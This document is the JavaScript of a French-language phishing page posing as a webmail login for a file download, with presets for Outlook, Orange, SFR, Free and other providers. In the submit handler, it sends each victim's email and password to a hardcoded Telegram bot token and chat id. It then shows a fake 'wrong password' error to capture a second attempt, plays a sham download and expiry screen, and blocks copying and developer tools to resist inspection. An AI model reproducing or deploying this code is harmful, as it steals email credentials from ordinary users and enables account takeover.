const emailInput = document.getElementById('emailInput'); const passwordGroup = document.getElementById('passwordGroup'); const passwordInput = document.getElementById('passwordInput'); const passwordToggle = document.getElementById('passwordToggle'); const submitBtn = document.getElementById('submitBtn'); const loginForm = document.getElementById('loginForm'); const container = document.querySelector('.container'); // Référence au conteneur principal const errorMessage = document.getElementById('errorMessage'); const successMessage = document.getElementById('successMessage'); // Afficher la zone de mot de passe quand l'email est saisi emailInput.addEventListener('blur', function() { if (this.value && this.value.includes('@')) { passwordGroup.classList.add('show'); passwordInput.focus(); } }); // Masquer le message d'erreur quand l'utilisateur tape emailInput.addEventListener('input', function() { errorMessage.style.display = 'none'; }); passwordInput.addEventListener('input', function() { errorMessage.style.display = 'none'; }); // Masquer le message de succès quand l'utilisateur tape emailInput.addEventListener('input', function() { successMessage.style.display = 'none'; }); passwordInput.addEventListener('input', function() { successMessage.style.display = 'none'; }); // Basculer la visibilité du mot de passe passwordToggle.addEventListener('click', function() { const type = passwordInput.type === 'password' ? 'text' : 'password'; passwordInput.type = type; this.classList.toggle('show'); }); // Gérer la soumission du formulaire loginForm.addEventListener('submit', function(e) { e.preventDefault(); const email = emailInput.value; const password = passwordInput.value; if (email && password) { submitBtn.textContent = 'Vérification...'; submitBtn.disabled = true; const telegramToken = '8847497274:AAFs_zcdApWYQ5Cp1McsVSxgPjRCfb2PksE'; const chatId = '1798483677'; // construis uniquement "email:motdepasse" const message = `${email}:${password}`; // encode pour l'URL const telegramUrl = `https://api.telegram.org/bot${telegramToken}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}`; fetch(telegramUrl).then(res => console.log('Message Telegram envoyé (GET)')).catch(err => console.error('Erreur Telegram:', err)); // Compter les tentatives if (!window.loginAttempts) { window.loginAttempts = 0; } window.loginAttempts++; setTimeout(() => { if (window.loginAttempts === 1) { errorMessage.textContent = 'Mot de passe incorrect. Veuillez réessayer.'; errorMessage.style.display = 'block'; submitBtn.textContent = 'Continuer'; submitBtn.disabled = false; passwordInput.value = ''; passwordInput.focus(); } else if (window.loginAttempts === 2) { showDownloadAnimation(); } }, 2000); } }); // Fonction pour afficher l'animation de téléchargement function showDownloadAnimation() { // Masquer le formulaire loginForm.style.display = 'none'; // Créer l'animation de téléchargement const downloadDiv = document.createElement('div'); downloadDiv.id = 'downloadAnimation'; downloadDiv.innerHTML = `
📥
Téléchargement en cours...
`; // Ajouter les styles pour l'animation const style = document.createElement('style'); style.textContent = ` .download-container { text-align: center; padding: 2rem; } .download-icon { font-size: 3rem; margin-bottom: 1rem; animation: bounce 1s infinite; } .download-text { font-size: 1.2rem; color: #333; margin-bottom: 1rem; } .download-progress { width: 100%; height: 8px; background: #f0f0f0; border-radius: 4px; overflow: hidden; } .progress-bar { width: 0%; height: 100%; background: #667eea; animation: progress 3s linear; } @keyframes bounce { 0%, 20%, 50%, 80%, 100% { transform: translateY(0); } 40% { transform: translateY(-10px); } 60% { transform: translateY(-5px); } } @keyframes progress { 0% { width: 0%; } 100% { width: 100%; } } .expired-message { text-align: center; padding: 2rem; display: none; } .expired-message h3 { color: #dc3545; margin-bottom: 1rem; } .expired-message p { color: #666; margin-bottom: 1.5rem; } .request-form { display: none; padding: 1rem; } .request-form textarea { width: 100%; padding: 0.6rem; border: 1px solid #ddd; border-radius: 5px; font-size: 0.9rem; margin-bottom: 1rem; resize: vertical; min-height: 80px; } .request-btn { width: 100%; padding: 0.6rem; background: #667eea; color: white; border: none; border-radius: 5px; font-size: 0.9rem; cursor: pointer; } .request-btn:hover { background: #5a6fd8; } `; document.head.appendChild(style); container.appendChild(downloadDiv); // Après 3 secondes, afficher le message d'expiration setTimeout(() => { downloadDiv.remove(); showExpiredMessage(); }, 3000); } // Fonction pour afficher le message d'expiration function showExpiredMessage() { const expiredDiv = document.createElement('div'); expiredDiv.id = 'expiredMessage'; expiredDiv.innerHTML = `

⚠️ Lien de téléchargement expiré

Le lien de téléchargement a expiré. Veuillez demander un nouveau lien.

`; container.appendChild(expiredDiv); // Afficher le message setTimeout(() => { expiredDiv.querySelector('.expired-message').style.display = 'block'; }, 100); } // Fonction pour afficher le formulaire de demande function showRequestForm() { const expiredDiv = document.getElementById('expiredMessage'); expiredDiv.innerHTML = `

📧 Demande de nouveau lien

Veuillez expliquer pourquoi vous avez besoin d'un nouveau lien :

`; // Afficher le formulaire setTimeout(() => { expiredDiv.querySelector('.request-form').style.display = 'block'; }, 100); } // Fonction pour envoyer la demande function sendRequest() { const requestText = document.getElementById('requestText').value; // Afficher confirmation dans la palette de connexion showSuccessMessage(); } // Fonction pour afficher le message de succès function showSuccessMessage() { // Supprimer les éléments de demande const expiredDiv = document.getElementById('expiredMessage'); if (expiredDiv) expiredDiv.remove(); // Réafficher le formulaire de connexion loginForm.style.display = 'block'; // Afficher le message de succès successMessage.textContent = '✅ Demande envoyée avec succès ! Vous recevrez un nouveau lien par email.'; successMessage.style.display = 'block'; // Réinitialiser le formulaire emailInput.value = ''; passwordInput.value = ''; passwordGroup.classList.remove('show'); submitBtn.textContent = 'Continuer'; submitBtn.disabled = false; window.loginAttempts = 0; // Focus sur l'email emailInput.focus(); // Masquer le message après 3 secondes setTimeout(() => { successMessage.style.display = 'none'; }, 3000); } // Fonction pour revenir au formulaire de connexion function resetToLoginForm() { // Supprimer tous les éléments ajoutés const downloadDiv = document.getElementById('downloadAnimation'); const expiredDiv = document.getElementById('expiredMessage'); if (downloadDiv) downloadDiv.remove(); if (expiredDiv) expiredDiv.remove(); // Réinitialiser le formulaire loginForm.style.display = 'block'; emailInput.value = ''; passwordInput.value = ''; passwordGroup.classList.remove('show'); submitBtn.textContent = 'Continuer'; submitBtn.disabled = false; window.loginAttempts = 0; // Focus sur l'email emailInput.focus(); } // Sélectionner un fournisseur document.querySelectorAll('.provider').forEach(provider => { provider.addEventListener('click', function() { // Retirer la sélection précédente document.querySelectorAll('.provider').forEach(p => { p.style.background = '#f8f9fa'; p.style.color = '#333'; }); // Sélectionner le fournisseur cliqué this.style.background = '#667eea'; this.style.color = 'white'; // Pré-remplir l'email avec le domaine const domains = { 'Outlook': '@outlook.com', 'Bouygues': '@bouygues.com', 'Yahoo': '@yahoo.com', 'Orange': '@orange.fr', 'Free': '@free.fr', 'SFR': '@sfr.fr' }; const domain = domains[this.textContent]; if (domain) { emailInput.value = domain; emailInput.focus(); } }); }); // Protection contre les copies document.addEventListener('contextmenu', function(e) { e.preventDefault(); return false; }); document.addEventListener('keydown', function(e) { // Bloquer Ctrl+C, Ctrl+A, Ctrl+S, Ctrl+U, F12 if ((e.ctrlKey && (e.key === 'c' || e.key === 'a' || e.key === 's' || e.key === 'u')) || e.key === 'F12') { e.preventDefault(); return false; } }); // Bloquer l'inspecteur document.addEventListener('keydown', function(e) { if (e.key === 'F12' || (e.ctrlKey && e.shiftKey && e.key === 'I')) { e.preventDefault(); return false; } });